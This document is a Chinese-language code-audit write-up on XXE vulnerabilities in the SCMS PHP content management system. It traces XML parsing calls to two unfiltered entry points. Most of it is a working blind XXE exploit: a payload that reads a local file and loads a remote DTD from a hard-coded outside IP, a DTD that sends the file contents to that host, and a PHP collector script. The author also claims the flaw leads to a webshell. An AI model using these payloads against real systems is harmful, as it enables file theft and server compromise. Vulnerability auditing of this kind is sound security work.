SCMS漏洞分析(XXE)
众所周知,xxe是围绕xml的漏洞,所以此漏洞入手的方法就是查找PHP代码中对xml代码进行解析的函数或者xml关键字
常见函数:
file_get_contents("php://input")、simplexml_load_string
xml格式中自带的关键字:
SYSTEM、ENTITY、ELEMENT
针对SCMS系统展开代码审计
审计代码,全局搜索simplexml_load_string(xml处理函数),一共有7个。
-
第一个
$postArr = $GLOBALS['HTTP_RAW_POST_DATA']此函数在PHP中类似于file_get_contents("php://input"),服务器获取浏览器的输入流。这里并没有对输入的xml做过滤处理,继续往下审计代码,没有发现回显点,暂时定义为xxe盲注。
补充:这里介绍一下传统三步走
-
第一步:构造传入目标服务器的payload
-
//声明xml文件 <?xml version = "1.0"?> <!DOCTYPE test [ //声名调用外部实体 <!ENTITY % file SYSTEM "file:///D:/666.txt"> <!ENTITY % dtd SYSTEM "http://47.108.223.48/xxe/remote.dtd"> %dtd; %send; ]>
-
-
第二步:在自己服务器创建要调用的php漏洞文件
-
//用file_put_contents方法在目标服务器上传1.txt文件,内容为$_GET['data'] <?php file_put_contents('1.txt',$_GET['data']);
-
-
第三步:在自己服务器创建要调用的dtd文件
-
//再次申明调用外部实体,去访问上面写好的php文件传到目标服务器 <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://47.108.223.48/xxe/remote.php?data=%file;'>"> %payload;
-
回到正题,对第一个漏洞处抓包
修改传入的参数,post方法传入构造的payload,放行,
payload
<?xml version = "1.0"?> <!DOCTYPE test [ //声名调用外部实体 <!ENTITY % file SYSTEM "file:///D:/666.txt"> <!ENTITY % dtd SYSTEM "http://47.108.223.48/xxe/remote.dtd"> %dtd; %send; ]>
可以看到发生了报错(PHP版本原因无伤大雅),同时爆出了目标服务器D:/666.txt这个文件的所有信息。然后会在目标服务器生成一个1.txt的文件夹,访问这个文件夹传入准备好的php漏洞参数即可拿到webshell
-
第二个
路径写死,此路不通
-
第四个、第五个
路径被限制,此路不通
-
第六个
获取浏览器输入流,判断了signature、echostr是否都为空,在传输参数的时候满足一个不为空即可
$signature = $_REQUEST["signature"]; $echostr = $_REQUEST["echostr"];
抓包
构造payload
<?xml version = "1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///D:/666.txt"> <!ENTITY % dtd SYSTEM "http://47.108.223.48/xxe/remote.dtd"> %dtd; %send; ]>
和第一个相同的漏洞原理,可以看到发生了报错(PHP版本原因无伤大雅),同时爆出了目标服务器D:/666.txt这个文件的所有信息。然后会在目标服务器生成一个1.txt的文件夹,访问这个文件夹传入准备好的php漏洞参数即可拿到webshell
-
第七个
libxml_disable_entity_loader(true);开发语言禁用外部实体为ture,无法操作
审计结束